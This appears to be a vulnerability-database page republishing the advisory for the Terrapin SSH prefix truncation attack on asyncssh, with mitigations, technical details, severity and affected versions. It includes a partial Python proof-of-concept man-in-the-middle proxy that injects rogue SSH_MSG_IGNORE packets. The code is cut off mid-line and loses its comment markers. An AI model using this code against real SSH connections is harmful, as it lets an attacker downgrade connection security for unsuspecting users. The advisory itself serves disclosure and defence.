🛡️ GHSA-hfmc-7525-mj55 — asyncssh
Description
AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC
Summary
AsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.
Mitigations
To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version.
Warning: To take effect, both the client and server must support this countermeasure.
As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.
Details
The SSH specifications of ChaCha20-Poly1305 ([email protected]) and Encrypt-then-MAC (*[email protected] MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.
The attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.
In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.
For more details and a pre-print of the associated research paper, see [https://terrapin-attack.com](https://terrapin-attack.com). This website is not affiliated with AsyncSSH in any way.
PoC
<details>
<summary>Extension Negotiation Downgrade Attack ([email protected])</summary>
```python
#!/usr/bin/python3
import socket
from binascii import unhexlify
from threading import Thread
from time import sleep
###############################################################################
Proof of Concept for the extension downgrade attack ##
##
Variant: ChaCha20-Poly1305 ##
##
Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79 ##
Server(s) tested: OpenSSH 9.5p1 ##
##
Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
###############################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
LENGTH_FIELD_LENGTH = 4
def pipe_socket_stream(in_socket, out_socket):
try:
while True:
data = in_socket.recv(4096)
if len(data) == 0:
break
out_socket.send(data)
except ConnectionResetError:
print("[!] Socket connection has been reset. Closing sockets.")
except OSError:
print("[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.")
in_socket.close()
out_socket.close()
rogue_msg_ignore = unhexlify('0000000C060200000000000000000000')
def perform_attack(client_socket, server_socket):
# Version exchange
client_vex = client_socket.recv(255)
server_vex = server_socket.recv(255)
client_socket.send(server_vex)
server_socket.send(client_vex)
# SSH_MSG_KEXINIT
client_kexinit = client_socket.recv(3
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.
Weakness class
GHSA-hfmc-7525-mj55 is classified as CWE-345: Insufficient Verification of Data Authenticity. Data is trusted without confirming it really came from the claimed source and was not altered.
Affected software
GHSA-hfmc-7525-mj55 is recorded against 1 package.
- asyncssh (fixed in 2.14.2)
Timeline and source
Published on 18 December 2023 and last revised on 7 December 2024. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| asyncssh | — | 2.14.2 |
References
Similar Threats
- Unknown ECHO-478b-8ec8-3dc3
- High CVE-2026-45309
- Medium CVE-2023-48795
- Medium CVE-2023-46445
- High CVE-2023-46446
Free Vulnerability Check
Is your site affected by GHSA-hfmc-7525-mj55?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-hfmc-7525-mj55 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.